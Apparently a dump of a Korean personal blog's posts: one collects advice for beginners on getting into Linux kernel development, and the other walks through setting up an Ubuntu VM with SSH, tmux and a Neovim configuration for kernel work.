์ƒ๊ฐ ํ•ด ๋ด๋ผ. ์–ด๋–ค ์‚ฌ๋žŒ์ด ์Šค๋งˆํŠธํฐ ๊ฐœ๋ฐœ์„ ํ•˜๋Š”๋ฐ ๋ฉ”์ธ๋ณด๋“œ์˜ ํšŒ๋กœ๋„์™€ ๋ชจ๋“  ๋ถ€ํ’ˆ๋“ค์„ ์˜คํ”ˆ์†Œ์Šค๋ฅผ ๊ณต๊ฐœํ–ˆ๋‹ค๊ณ  ํ•ด์„œ ์•„๋ฌด๋Ÿฐ ๊ธฐ๋ฐ˜ ์ง€์‹์—†์ด ์ดํ•ดํ•˜๊ณ  ์ˆ˜์ •ํ•˜๋Š”๊ฒŒ ๊ฐ€๋Šฅํ•˜๊ฒ ๋Š”๊ฐ€?

๊ทธ๋ž˜์„œ, ์ด ๊ธ€์—์„œ๋Š” ๋ฆฌ๋ˆ…์Šค ์ปค๋„ ๊ฐœ๋ฐœ์— ์ž…๋ฌธ ํ•  ์ˆ˜ ์žˆ์„๋งŒํผ์˜ ๊ธฐ๋ฐ˜์ง€์‹์„ ์Œ“๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•ด ์ธํ„ฐ๋„ท์—์„œ ์ฐพ์€ ๋‚ด์šฉ๋“ค์„ ์ •๋ฆฌํ•ด๋ณด์•˜๋‹ค.

์ถ”๊ฐ€์ ์œผ๋กœ ๊ณต๋ถ€ํ•˜๋ฉด์„œ ํŠน์ • ์„œ๋ธŒ์‹œ์Šคํ…œ์„ ๊ณต๋ถ€ํ•˜๊ฒŒ ๋œ๋‹ค๋ฉด ์–ด๋””์„œ๋ถ€ํ„ฐ ์ ‘๊ทผํ•ด์•ผํ•˜๋Š”์ง€์— ๋Œ€ํ•œ ๊ธ€๋“ค๋„ ์—…๋กœ๋“œ ํ•˜๋„๋ก ํ•˜๊ฒ ๋‹ค.

์ฑ…?

์ž‘์„ฑ์ž์ธ ๋‚˜๋„ ์ด์ œ์•ผ ์ž…๋ฌธํ•˜๋ฉฐ ์ •๋ฆฌํ•˜๋Š” ๋‹จ๊ณ„์ด๋ฏ€๋กœ, ํ‹€๋ฆฐ ๋‚ด์šฉ๋“ค์ด ์žˆ์„ ์ˆ˜ ์žˆ๋‹ค!

์ผ๋‹จ KernelNewbies์˜ ์ฒซ ์ปค๋„ ํŒจ์น˜๋Š” ๊ผญ ์ฝ์–ด๋ณด๋„๋ก ํ•˜์ž. ๋ฉ”์ผ ํด๋ผ์ด์–ธํŠธ ์…‹์—…๊ณผ ๊ฐ™์€ ํ™˜๊ฒฝ ์„ค์ •๋“ค์„ ํ•˜๋Š” ๋ฒ•์„ ์•Œ๋ ค์ค€๋‹ค.

์šด์˜์ฒด์ œ๋ก  +

์•„์ง ๋‚˜๋„ ์ฝ์–ด๋ณด๋Š” ์ค‘์ด์ง€๋งŒ, ์ฃผ๋กœ ์ธํ„ฐ๋„ท ์ƒ์—์„œ ์ถ”์ฒœ๋ฐ›๋Š” ์ฑ…๋“ค์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์šด์˜์ฒด์ œ๋ก ๊ณ„์˜ ๋ฐ”์ด๋ธ”: Operating System Concepts

์šด์˜์ฒด์ œ๋ก ์„ ์กฐ๊ธˆ ์‰ฝ๊ฒŒ ์ฝ๊ณ  ์‹ถ๋‹ค: Operating System Three Easy Pieces

๋ฆฌ๋ˆ…์Šค ๊ณต๋ถ€๋ฅผ ํ•ด๋ณด์ž: Understanding Linux Kernel

์œ ๋‹‰์Šค ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ์ดํ•ด๋„๋ฅผ ๋†’์ด๊ณ  ์‹ถ๋‹ค: Advanced Programming in the UNIX Environment

์ปค๋„์ด ์šด์˜์ฒด์ œ๋ก ์—์„œ ํ•ต์‹ฌ์œผ๋กœ ๋‹ค๋ฃจ๊ธฐ ๋•Œ๋ฌธ์— ์šด์˜์ฒด์ œ๋ก ์„ ๊ณต๋ถ€ํ•˜๋Š”๊ฒƒ์ด๊ณ , ๋ฆฌ๋ˆ…์Šค์˜ ์‹œ์Šคํ…œ์— ๋Œ€ํ•ด ์ˆ˜์ •์„ ํ•˜๋ ค๊ณ  ํ•˜๋ฉด ๊ทธ์— ๋Œ€ํ•œ ์ดํ•ด๋„๊ฐ€ ํ•„์š”ํ•˜๊ธฐ๋•Œ๋ฌธ์— ๋ฆฌ๋ˆ…์Šค๋ฅผ ๊ณต๋ถ€ํ•˜๋Š”๊ฒƒ์ด๋‹ค.

์‹œ์ž‘ํ•˜๊ธฐ์ „, ์•Œ์•„์•ผ ํ•  ๋‚ด์šฉ๋“ค

๋‚ด๊ฐ€ ์–ด๋–ค ๋ถ€๋ถ„์— ๊ธฐ์—ฌ๋ฅผ ํ•˜๊ณ  ์‹ถ์€์ง€์— ๋Œ€ํ•ด ์•Œ์•„์•ผ ํ•œ๋‹ค. kernelnewbies์˜ ์ด ๊ธ€์˜ ๋‚ด์šฉ์„ ํ•œ๋ฒˆ ์ฝ์–ด๋ณด์ž. ๊ทธ๋Ÿฐ๋ฐ ๋‚˜๋Š” ์ด๋Ÿฐ ์ƒ๊ฐ์ด ๋“ค๋”๋ผ.

'์•„? ์–ด๋А ์„œ๋ธŒ์‹œ์Šคํ…œ์„ ๊ณจ๋ผ์•ผ ์ข‹์ง€? ๋ญ˜ ๊ณจ๋ผ์•ผ ์ข‹์€๊ฑฐ์•ผ? ๊ณ ๋ฅด๋ฉด ์ด์ œ ๋ญ˜ ํ•ด์•ผํ•˜๋Š”๋ฐ?'

๋‹น์—ฐํ•˜๋‹ค. ์„œ๋ธŒ์‹œ์Šคํ…œ์ด๋ž€๊ฒŒ ์žˆ๋Š”์ง€ ๋ฐฉ๊ธˆ ๋ง‰ ์•Œ์•˜๋Š”๋ฐ ๋ญ˜ ํ•ด์•ผํ•˜๋Š”์ง€ ์–ด๋–ป๊ฒŒ ์•Œ๊ฒ ๋Š”๊ฐ€..? ๊ทธ๋Ÿฐ๋ฐ ์œ„์˜ ๊ธ€์—์„œ๋Š” ์ด๋Ÿฐ๊ฒฝ์šฐ driver๋“ค์˜ TODO ํŒŒ์ผ์„ ์ฝ์–ด ์ˆ˜์ •ํ•  ์‚ฌํ•ญ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋ผ๋Š” ๋ง์ด ์žˆ๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ๊นŒ ์ผ๋‹จ ๋ชจ๋ฅด๊ฒ ์œผ๋ฉด, ๋“œ๋ผ์ด๋ฒ„๋“ค์—์„œ ํ•ด๊ฒฐํ•˜๊ธฐ๋ฅผ ์š”๊ตฌํ•˜๋Š” ์ž‘์—…๋“ค์„ ํ•œ๋ฒˆ ์ฐพ์•„๋ณด๋ผ๋Š”๊ฒƒ์ด๋‹ค.

๊ทธ๋ž˜์„œ drivers/staging/qlge/ ํด๋”์— ์žˆ๋Š” TODO ํ•˜๋‚˜๋ฅผ ์—ด์–ด๋ดค๋Š”๋ฐ ๊ทธ ์ค‘ ํ•˜๋‚˜๊ฐ€ ๋‹ค์Œ๊ณผ ๊ฐ™๋”๋ผ.

text
* commit 7c734359d350 ("qlge: Size RX buffers based on MTU.", v2.6.33-rc1)
  introduced dead code in the receive routines, which should be rewritten
  anyways by the admission of the author himself, see the comment above
  ql_build_rx_skb(). That function is now used exclusively to handle packets
  that underwent header splitting but it still contains code to handle non
  split cases.
* truesize accounting is incorrect (ex: a 9000B frame has skb->truesize 10280
  while containing two frags of order-1 allocations, ie. >16K)
* while in that area, using two 8k buffers to store one 9k frame is a poor
  choice of buffer size.
* in the "chain of large buffers" case, the driver uses an skb allocated with
  head room but only puts data in the frags.
* rename "rx" queues to "completion" queues. Calling tx completion queues "rx
  queues" is confusing.
* struct rx_ring is used for rx and tx completions, with some members relevant
  to one case only
* there is an inordinate amount of disparate debugging code, most of which is
  of questionable value. In particular, qlge_dbg.c has hundreds of lines of
  code bitrotting away in ifdef land (doesn't compile since commit
  18c49b91777c ("qlge: do vlan cleanup", v3.1-rc1), 8 years ago).
* triggering an ethtool regdump will hexdump a 176k struct to dmesg depending
  on some module parameters.
* the flow control implementation in firmware is buggy (sends a flood of pause
  frames, resets the link, device and driver buffer queues become
  desynchronized), disable it by default
* some structures are initialized redundantly (ex. memset 0 after
  alloc_etherdev())
* the driver has a habit of using runtime checks where compile time checks are
  possible (ex. ql_free_rx_buffers(), ql_alloc_rx_buffers())
* reorder struct members to avoid holes if it doesn't impact performance
* in terms of namespace, the driver uses either qlge_, ql_ (used by
  other qlogic drivers, with clashes, ex: ql_sem_spinlock) or nothing (with
  clashes, ex: struct ob_mac_iocb_req). Rename everything to use the "qlge_"
  prefix.
* avoid legacy/deprecated apis (ex. replace pci_dma_*, replace pci_enable_msi,
  use pci_iomap)
* some "while" loops could be rewritten with simple "for", ex.
  ql_wait_reg_rdy(), ql_start_rx_ring())
* remove duplicate and useless comments
* fix weird line wrapping (all over, ex. the ql_set_routing_reg() calls in
  qlge_set_multicast_list()).
* fix weird indentation (all over, ex. the for loops in qlge_get_stats())
* fix checkpatch issues

์ด์ œ ๊ณต๋ถ€๋ฅผ ํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ํฌ๊ฒŒ ๋‘๊ฐ€์ง€๋กœ ์ •๋ฆฌ ๋˜๋Š”๊ฑฐ๊ฐ™๋‹ค.

  1. TODO์˜ ๋‚ด์šฉ์„ ์ดํ•ดํ•˜๊ณ  ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์œผ๋ฉด, ๊ทธ๋ƒฅ ๊ทธ๋ ‡๊ฒŒ ์‹œ์ž‘ํ•˜๋ฉด ๋œ๋‹ค.
  2. ๊ทธ๊ฒŒ ์•„๋‹ˆ๋ผ๋ฉด, ๋ฆฌ๋ˆ…์Šค์— ๋Œ€ํ•œ ๊ณต๋ถ€๊ฐ€ ๋” ํ•„์š”ํ•œ๊ฒƒ์ด๋‹ค.

์•„๋งˆ ๋Œ€๋ถ€๋ถ„์€ 2๋ฒˆ์ผ๊ฒƒ์ด๊ณ , ๊ทธ 2๋ฒˆ์— ๋Œ€ํ•ด '์–ด๋–ป๊ฒŒ?' ๋ผ๋Š” ๋ฌผ์Œ์„ ๊ฐ–๊ณ  ์žˆ์–ด์„œ ์˜จ ๊ฒƒ์ด๋ผ๊ณ  ์ƒ๊ฐํ•œ๋‹ค.

kldp์— ๋น„์Šทํ•œ ๊ณ ๋ฏผ์— ๋Œ€ํ•œ ํ•ด๊ฒฐ์ฑ…์ด ์˜ฌ๋ผ์™€์žˆ๋‹ค. ์ด ๊ธ€์—์„œ ํŠนํžˆ ๊ธฐ์–ต์— ๋‚จ๋Š” ๋‚ด์šฉ๋“ค์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์ปค๋„๊ณต๋ถ€๋Š” ๋ถ„๋Ÿ‰์ด ์ƒ๋‹นํžˆ ๋งŽ๊ณ  ์‹œ๊ฐ„์ด์˜ค๋ž˜๊ฑธ๋ฆฝ๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๊ทธ๋ƒฅํ•˜์…”์„œ๋Š” ์ ˆ๋Œ€์•ˆ๋˜๋Š” ๋ถ„์•ผ์ž…๋‹ˆ๋‹ค. ๊ทธ์‹œ๊ฐ„์ด ๋„ˆ๋ฌด ์˜ค๋ž˜๊ฑธ๋ฆฌ๊ธฐ๋•Œ๋ฌธ์— ๊ณต๋ถ€๊ณผ์ •์ค‘์— ๋ฐ˜๋“œ์‹œ ์–ด๋–ค ํ•™์œ„๋ผ๋˜๊ฐ€ ํšŒ์‚ฌ๊ฒฝ๋ ฅ๋“ฑ์ด ์žˆ์–ด์•ผ์ง€ ํ˜ผ์ž ์ง‘์—์„œ ๊ณต๋ถ€ํ•œ๋‹ค๊ณ ํ•˜๋ฉด ๊ทธ์‹œ๊ฐ„์ด์ง€๋‚˜์„œ ๊ณต๋ถ€๋ฅผ ์ž˜ํ–ˆ๋‹คํ•ด๋„ ์‹œ๊ฐ„๋™์•ˆ ์‚ฌํšŒ์  ๊ฒฐ๊ณผ๋ฌผ์ด ์—†๋Š” ์ƒํƒœ๊ฐ€๋ฉ๋‹ˆ๋‹ค.

-jw8704๋‹˜

๋ฆฌ๋ˆ…์Šค ์ปค๋„ ๊ทธ ์ž์ฒด๋Š” ๋งค์šฐ ์ƒ์†Œํ•˜๊ณ  ๋˜ํ•œ ๋ฐ”๋‹ค์™€ ๊ฐ™์•„์„œ ์–ด๋А ์ฝ”๋“œ๋ฅผ ๋จผ์ € ๋ด์•ผ ํ•  ์ง€ ๊ฐ์„ ์žก๊ธฐ ์–ด๋ ต์Šต๋‹ˆ๋‹ค.

-AustinKim๋‹˜

์ปค๋„ ๊ฐœ๋ฐœ์ž๋“ค์€ ์ •๋ง ๋Œ€๋‹จํ•˜์ง€๋งŒ ๊ทธ๋งŒํผ ๋Œ€๋‹จํ•œ ๊ฐœ๋ฐœ์ž๋“ค์ด ์ปค๋„๊ฐœ๋ฐœ์„ ํ•˜๊ฒŒ๋˜๋”๋ผ๊ตฌ์š”.

๊ทธ๋ž˜๋„ ๊ณต๋ถ€ํ•  ์ปค๋ฆฌํ˜๋Ÿผ์ด ํ•„์š”ํ•˜์‹œ๋ฉด ์ด๊ฑธ ์ฐธ๊ณ ํ•˜์‹œ๋Š”๊ฒƒ๋„ ๋ฐฉ๋ฒ•์ผ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.

https://github.com/gurugio/lowlevelprogramming-university
-gurugio๋‹˜

jw8704๋‹˜ ๋ง์„ ๋“ฃ๊ณ  ์—ฌ๋Ÿฌ ์ƒ๊ฐ์„ ํ•˜๊ฒŒ ๋˜์—ˆ๋‹ค. ํ™•์‹คํžˆ ๋งž๋Š” ๋ง์ด๊ธดํ•˜๋‹ค. ์‘์šฉํ”„๋กœ๊ทธ๋žจ ๊ฐœ๋ฐœ์— ๋Œ€ํ•œ ๊ณต๋ถ€๋„ ํ‹ˆํ‹ˆํžˆ ํ•ด ๋‚˜๊ฐ€๋ฉด์„œ ๋‚ด ์‚ด๊ธธ์€ ๋งŒ๋“ค์–ด ๋†”์•ผ๊ฒ ๋‹ค๋Š” ์ƒ๊ฐ์„ ํ–ˆ๋‹ค.

AustinKim๋‹˜์€ ์ถ”๊ฐ€์ ์œผ๋กœ '๋ฆฌ๋ˆ…์Šค ์ปค๋„์ด buildableํ•œ ๋ณด๋“œ๋ฅผ ์‚ฌ์šฉํ•ด ๋นŒ๋“œ๋ถ€ํ„ฐ ์‹œ์ž‘ํ•˜๊ณ , ๊ทธ ์ดํ›„์— ์บ๋ฆญํ„ฐ ๋””๋ฐ”์ด์Šค ์ˆ˜์ค€์˜ ๋“œ๋ผ์ด๋ฒ„๋“ค์„ ์ž‘์„ฑํ•˜๊ธฐ ์‹œ์ž‘ํ•œ ๋’ค, ์ปค๋„ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ• ๋•Œ๋งˆ๋‹ค ๊ด€๋ จ ์ปค๋„ ํ•จ์ˆ˜๋“ค์„ ๊ณต๋ถ€ํ•˜๋Š”๊ฒƒ์„ ์ถ”์ฒœํ•œ๋‹ค' ๊ณ  ๋ง์”€ํ•˜์‹œ๋”๋ผ. ๊ทธ๋Ÿฌ๋‹ค๋ณด๋ฉด ๊ด€์‹ฌ์žˆ๋Š” ๋ถ„์•ผ๊ฐ€ ์ƒ๊ธฐ๊ธฐ ๋งˆ๋ จ์ด๊ณ , ์ด๋•Œ ๋ฉ”์ผ๋ง ๋ฆฌ์ŠคํŠธ๋ฅผ ๊ตฌ๋…ํ•˜๋Š”๊ฒƒ์ด๋ผ๊ณ  ํ•˜์‹œ๋”๋ผ.

gurugio๋‹˜์ด ์ถ”์ฒœํ•œ ์ € ๋งํฌ์˜ ์ปค๋ฆฌ์ปฌ๋Ÿผ๋„ ๊ฝค ๊ดœ์ฐฎ์€๊ฑฐ๊ฐ™๋‹ค. ๊ทธ๋ž˜์„œ ์•ž์œผ๋กœ๋Š” ์ €๊ฑธ ์ข€ ๋งŽ์ด ์ฐธ๊ณ ํ•˜๋ฉด์„œ ๊ณต๋ถ€ํ•ด๋ณผ๊นŒ ํ•œ๋‹ค.

์‚ฌ์‹ค ๋‚˜๋Š” ๊ทธ๋ƒฅ '์•„ ๋ฆฌ๋ˆ…์Šค ์ปค๋„ ๊ฐœ๋ฐœ ํ•˜๊ณ ์‹ถ๋‹ค!'๋กœ ์‹œ์ž‘ํ•˜์—ฌ, ๊ตฌ๊ธ€๋ง ํ›„์—๋Š” '์•„๋‹ˆ! ๊ทธ๋Ÿฌ๋‹ˆ๊นŒ ๋‹จ์ˆœํžˆ ๋นŒ๋“œํ•˜๋Š”๊ฒƒ ๋ง๊ณ ! ๋‚˜๋Š” ์ˆ˜์ •์„ ํ•˜๊ณ  ๋ญ”๊ฐ€ ์ฝ”๋“œ๋ฅผ ์งœ๊ณ  ์‹ถ๋‹จ ๋ง์ด์•ผ!' ๋ผ๋Š” ์ƒ๊ฐ์ด ๋“ค์—ˆ๊ณ , '๋“œ๋ผ์ด๋ฒ„ ๋ถ€ํ„ฐ ๋ถ„์„์„ ์‹œ์ž‘ํ•˜๋Š”๊ฒŒ ์ข‹๋‹ค'๋Š” ํ—ˆํƒœ์ค€๋‹˜์˜ ๋ง์”€์„ ๋“ฃ๊ณ  ๋ฌด์ž‘์ • USB์ชฝ ์ฝ”๋“œ๋ฅผ ์ฝ์–ด๋ณด๋ ค ํ–ˆ๋Š”๋ฐ, ๋‚ด๊ฐ€ ๊ฐ€์กŒ๋˜ ๋ฌผ์Œ์€

์ด ์ฝ”๋“œ๋Š” ๋ญํ•˜๋Š” ์ฝ”๋“œ์ง€?

์–˜๋Š” ๋˜ ๋ญํ•˜๋Š” ๋†ˆ์ด์ง€? ์“ฐ์ด๊ธด ํ•˜๋‚˜?

๋„๋Œ€์ฒด ์–ด๋””์„œ๋ถ€ํ„ฐ ์ฝ๊ธฐ ์‹œ์ž‘ํ•ด์•ผํ•˜๋Š”๊ฑฐ์•ผ?

์˜€๋‹ค.

์•„์ง ๊ธฐ๋ฐ˜ ์ง€์‹์ด ๋ถ€์กฑํ•œ๊ฒƒ์ด์—ˆ๋‹ค. ๋‚˜์˜ ๊ฒฝ์šฐ๋Š” ์•ž์œผ๋กœ ๊ฐ–๊ณ ์žˆ๋Š” ๋ผ์ฆˆ๋ฒ ๋ฆฌํŒŒ์ด๋ฅผ ํ™œ์šฉํ•˜์—ฌ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ์ž‘์„ฑํ•˜๊ฑฐ๋‚˜ ๊ฐ–๊ณ ์žˆ๋Š” ์•ˆ๋“œ๋กœ์ด๋“œํฐ์ธ OnePlus 3T๋ฅผ ์จ์„œ ์ผ๋‹จ ๋นŒ๋“œ๋ฅผ ์‹œ์ž‘ํ•˜๊ณ , ๋ช‡๊ฐ€์ง€ ๋“œ๋ผ์ด๋ฒ„๋„ ์งœ๋ณด๋ฉด์„œ(์•„์ง ๊ตฌ์ฒด์ ์ธ ๊ณ„ํš์€ ์—†๋‹ค.) gurugio๋‹˜์˜ ์ปค๋ฆฌํ˜๋Ÿผ์„ ๋”ฐ๋ผ๊ฐ€๋ณผ๊นŒ ํ•œ๋‹ค.

ํ‹ˆํ‹ˆํžˆ kotlin๋„ ์ข€ ๊ณต๋ถ€ํ•ด์•ผ๊ฒ ๋‹ค๋Š” ์ƒ๊ฐ์ด ๋“ค์—ˆ๋‹ค. -.-

์ง€๊ธˆ ๊ฐ€์žฅ ์ข‹์•„ํ•˜๋Š” ํŒŒ์ด์ฌ์€ ์‘์šฉํ”„๋กœ๊ทธ๋žจ ๊ฐœ๋ฐœ๋ณด๋‹จ ๋ถ„์„์ด๋‚˜ ์ธ๊ณต์ง€๋Šฅ์ชฝ์— ๋งŽ์ด ์“ฐ์ด๋Š”๊ฒƒ ๊ฐ™์œผ๋‹ˆ๊นŒ.


File: _posts/2019-10-2-apue68.md

[Binary file]


File: _posts/2019-10-4-linux-setup69.md


layout: post title: Linux setups for kernel development date: 2019-10-4 17:8:00 +0900 categories: [unix, linux]

Linux setups for kernel development

์„œ๋ก 

์ตœ๊ทผ ๋‚˜๋Š” ๋ฆฌ๋ˆ…์Šค ์ปค๋ฎค๋‹ˆํ‹ฐ ๋“ฑ์ง€์—์„œ ํ™œ๋™ํ•˜๋Š” ์˜คํ”ˆ์†Œ์Šค ๊ฐœ๋ฐœ์ž๊ฐ€ ๋˜๋Š”๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ์šด์˜์ฒด์ œ ๊ณต๋ถ€๋ฅผ ์‹œ์ž‘ํ–ˆ๋‹ค. APUE(Advanced Programming in the UNIX Environment)์™€ ๊ณต๋ฃก์ฑ…(Operating System Concepts)์ฑ…์„ ์ฝ๊ธฐ ์‹œ์ž‘ํ•œ๊ฒƒ๋„ ๊ทธ ๋•Œ๋ฌธ์ด๋‹ค.

์ตœ๊ทผ ๋„ˆ๋ฌด ์ด๋ก  ๊ณต๋ถ€๋งŒ ํ•œ๊ฒƒ๊ฐ™์•„ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๊ณ  ์‹ถ์–ด์„œ, ๊ฐœ๋ฐœ ํ™˜๊ฒฝ์„ ๊ตฌ์ถ•ํ•˜๊ณ ์‹ถ์—ˆ๋‹ค.
์ผ๋‹จ ๋‚˜๋Š” macOS๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— VMware์œ„์— Ubuntu 18.04.3 LTS๋ฅผ ์„ค์น˜ํ–ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ๋ฐฐ๊ฒฝ์ด ๋˜๋Š” ํ™˜๊ฒฝ์€ Ubuntu 18.04.3 LTS ์ด๋‹ค.

ํ˜„์žฌ ๋งŒ๋“ค์–ด์ง„ ํ™˜๊ฒฝ

  1. TMUX + SSH + Disabled GUI
  • macOS์˜ ์…ธ์—์„œ ๋„ค์ดํ‹ฐ๋ธŒ๋กœ ๊ฐœ๋ฐœํ•˜๋Š” ๋А๋‚Œ์„ ๋‚ด๊ธฐ ์œ„ํ•ด์„œ
  • GUI ๋ฆฌ์†Œ์Šค๋ฅผ ์ค„์ด๊ธฐ ์œ„ํ•ด์„œ
  1. Nvim + Vundle
  • ycm
  • auto-pairs
  • autocomplpop
  • vim-airline
  • vim-airline-themes
  • vim-easytags
  • vim-misc
  1. ssh ์ž๋™๋กœ๊ทธ์ธ

Step-by-step

์ผ๋‹จ ํ”„๋กœ๊ทธ๋žจ ์„ค์น˜๋ถ€ํ„ฐ!

SSH, TMUX, nvim์„ ์„ค์น˜ํ•˜๊ณ , ํ•„์š”์—†๋Š” ํŒจํ‚ค์ง€๋“ค์„ ์‚ญ์ œํ•˜๋Š” ๋ช…๋ น์–ด์ด๋‹ค.

bash
sudo apt update;sudo apt upgrade;sudo apt install -y git cmake ctags clang openssh-server tmux neovim python3-neovim python3-dev mutt sendmail libncurses5-dev gcc make git exuberant-ctags libssl-dev bison flex libelf-dev bc codespell python3-pip;sudo apt remove -y --purge firefox libreoffice*; sudo apt clean -y;sudo apt autoremove -y;

SSH ์„œ๋ฒ„ ์„ค์ •

๋‚˜๋Š” ๊ธฐ๋ณธ ์„ค์ •์„ ๊ทธ๋Œ€๋กœ ์‚ฌ์šฉํ• ๊ฒƒ์ด๋ผ์„œ ๊ทธ๋ƒฅ ๋‹ค์Œ์˜ ๋ช…๋ น์–ด๋กœ ์„œ๋น„์Šค๋งŒ ์ผœ์ฃผ์—ˆ๋‹ค.

bash
sudo service ssh start

์œ„์˜ ๋‘๊ฐ€์ง€๋ฅผ ํ•œ๋ฒˆ์— ์‹คํ–‰์‹œํ‚ค๋Š” ๋ช…๋ น์–ด์ด๋‹ค.

bash
sudo apt update;sudo apt upgrade;sudo apt install -y git cmake ctags clang openssh-server tmux neovim python3-neovim python3-dev mutt sendmail libncurses5-dev gcc make git exuberant-ctags libssl-dev bison flex libelf-dev bc codespell python3-pip;sudo apt remove -y --purge firefox libreoffice*; sudo apt clean -y;sudo apt autoremove -y;sudo service ssh start;

TMUX ์‚ฌ์šฉ๋ฒ• ์ตํžˆ๊ธฐ

[https://seulcode.tistory.com/144]
์ด๊ณณ์˜ ์„ค๋ช…์„ ์ฐธ๊ณ ํ•˜๋ฉด์„œ ์ž˜ ์“ฐ๊ณ  ์žˆ๋‹ค.

Nvim ์„ค์ •

์‹คํ–‰์‹œํ‚ค๊ธฐ ํŽธํ•˜๊ฒŒ!

์ผ๋‹จ .bashrc์—

bash
alias "vi"="nvim"
alias "vim"="nvim"

์„ ์ ์–ด๋‘ ์œผ๋กœ์จ ๊ธฐ์กด์— vim์„ ์‹คํ–‰์‹œํ‚ค๋“ฏ nvim์„ ์‹คํ–‰์‹œํ‚ฌ ์ˆ˜ ์žˆ๋„๋ก ํ•˜์˜€๋‹ค.

init.vim ์„ค์ •

macOS์—์„œ ์“ฐ๋˜ init.vim์„ ๊ทธ๋Œ€๋กœ ๋„ฃ์–ด์ฃผ์—ˆ๋‹ค.

text
colorscheme kalisi
set t_Co=256
set number
set hlsearch
set ruler
set ignorecase
set showcmd
set wildmenu
set nocompatible
set autoindent
set cindent
set laststatus=2
set tabstop=4
set showmatch
set fileencodings=utf-8,euc-kr
set shiftwidth=4
set noexpandtab
set backspace=indent,eol,start
set nowrap
set nobackup
set smartindent
set background=dark
set encoding=utf-8
set nocompatible
filetype off
filetype plugin on
set tags+=/usr/include/tags
set rtp+=~/.config/nvim/bundle/Vundle.vim
call vundle#begin('~/.config/nvim/bundle')
 
Plugin 'VundleVim/Vundle.vim'
Plugin 'Valloric/YouCompleteMe'
Plugin 'jiangmiao/auto-pairs'
Plugin 'AutoComplPop'
Plugin 'vim-airline/vim-airline'
Plugin 'vim-airline/vim-airline-themes'
Plugin 'xolox/vim-easytags'
Plugin 'vim-misc'

call vundle#end()

autocmd FileType html :AcpDisable
"ycm
let g:ycm_global_ycm_extra_conf = '/Users/yeongyu/.config/nvim/bundle/YouCompleteMe/.ycm_extra_conf.py'
let g:ycm_confirm_extra_conf = 0
let g:ycm_key_list_select_completion = ['', '']
let g:ycm_key_list_previous_completion = ['', '']
let g:ycm_autoclose_preview_window_after_completion = 1
let g:ycm_warning_symbol = '>*'
let g:ycm_server_python_interpreter = '/usr/local/bin/python3'
"AutoComplPop
function! InsertTabWrapper()
let col = col('.') - 1
if !col || getline('.')[col-1]!~'\k'
return "\<TAB>"
else
if pumvisible()
return "\<C-N>"
else
return "\<C-N>\<C-P>"
end
endif
endfunction

"inoremap <tab> <c-r>=InsertTabWrapper()<cr>

hi Pmenu ctermbg=blue
hi PmenuSel ctermbg=yellow ctermfg=black
hi PmenuSbar ctermbg=blue

set tags=./tags,tags

์ด๊ฑธ ~/.config/nvim/init.vim ์— ๋„ฃ์–ด์ฃผ์—ˆ๋‹ค.

ํ”Œ๋Ÿฌ๊ทธ์ธ ์„ค์น˜: Vundle๋ถ€ํ„ฐ!

bash
git clone https://github.com/VundleVim/Vundle.vim.git ~/.config/nvim/bundle/Vundle.vim

์ดํ›„์—, nvim์„ ์‹คํ–‰ํ•œ๋’ค
:PluginInstall
๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ํ”Œ๋Ÿฌ๊ทธ์ธ๋“ค์ด ๋‹ค ์„ค์น˜๊ฐ€ ๋œ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์•„์ง ํ•˜๋‚˜ ๋ฌธ์ œ๊ฐ€์žˆ๋Š”๋ฐ, ๊ทธ๊ฒƒ์€ ๋ฐ”๋กœ ycm(You Complete Me)๊ฐ€ ์•„์ง ์ปดํŒŒ์ผ ๋˜์ง€ ์•Š์•˜๋‹ค๋Š” ์ .

YCM ์„ค์ •

ycm์ด ์„ค์น˜๋œ ํด๋”์ธ ~/.config/nvim/bundle/YouCompleteMe ์— ๋“ค์–ด๊ฐ€์„œ ๋‹ค์Œ์˜ ๋ช…๋ น์–ด๋กœ ์‹คํ–‰์„ ํ•œ๋‹ค.

bash
python3 install.py --clang-completer

๊ทธ๋Ÿฌ๋ฉด ์ด์ œ ๋ฌธ์ œ์—†์ด ์„ค์ •์ด ๋œ ๋ชจ์Šต์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

GUI Disable

์ผ๋‹จ ๋‚˜์˜ ๊ฒฝ์šฐ์—๋Š” 'ํ˜น์‹œ๋‚˜' GUI๊ฐ€ ํ•„์š”ํ•œ ํ™˜๊ฒฝ์ด ์ƒ๊ธธ ์ˆ˜ ์žˆ์„๊นŒ๋ด (๋™์•„๋ฆฌ์—์„œ ๋ฆฌ๋ˆ…์Šค๋ฅผ ์‚ฌ์šฉํ•ด์•ผํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์–ด์„œ) ์„œ๋ฒ„ ๋ฒ„์ „์œผ๋กœ ๊ตณ์ด ์„ค์น˜ํ•˜์ง€ ์•Š์•˜๋Š”๋ฐ, ๊ทธ๋Ÿฐ ๋‚˜๋ฅผ ์œ„ํ•ด์„œ ํ‰์†Œ์—๋Š” gui๋ฅผ ๊บผ๋‘˜ ํ•„์š”๊ฐ€ ์žˆ์—ˆ๋‹ค. ์ด ์—ญ์‹œ ๋‹ค์Œ์˜ ๋ช…๋ น์–ด๋กœ ๊ฐ€๋Šฅํ•˜๋‹ค.

bash
sudo systemctl set-default multi-user.target

